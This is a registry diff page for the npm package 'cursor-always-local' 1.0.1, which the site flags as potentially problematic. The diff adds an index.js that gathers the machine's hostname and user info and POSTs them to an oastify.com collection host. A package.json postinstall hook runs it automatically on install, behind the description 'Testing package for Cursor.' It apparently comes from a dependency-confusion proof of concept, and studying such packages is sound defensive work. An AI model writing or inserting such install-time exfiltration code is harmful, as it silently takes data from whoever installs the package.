cursor-always-local 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cursor-always-local might be problematic. Click here for more details.
- package/index.js +17 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
import os from 'os';
|
2
|
+
import process from 'node:process';
|
3
|
+
|
4
|
+
const payload = {
|
5
|
+
'hostname': os.hostname(),
|
6
|
+
'userinfo': os.userInfo(),
|
7
|
+
}
|
8
|
+
|
9
|
+
await fetch('https://dgx0bgew9523mluito8zcgtu1l7cv2jr.oastify.com',{
|
10
|
+
method: 'POST',
|
11
|
+
headers: {
|
12
|
+
'Content-Type': 'application/json'
|
13
|
+
},
|
14
|
+
body: JSON.stringify(payload),
|
15
|
+
mode: 'no-cors'
|
16
|
+
});
|
17
|
+
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "cursor-always-local",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "Testing package for Cursor.",
|
5
|
+
"main": "index.js",
|
6
|
+
"type": "module",
|
7
|
+
"scripts": {
|
8
|
+
"postinstall": "node index.js",
|
9
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
10
|
+
},
|
11
|
+
"author": "Raul Onitza-Klugman (raul@snyk.io)",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|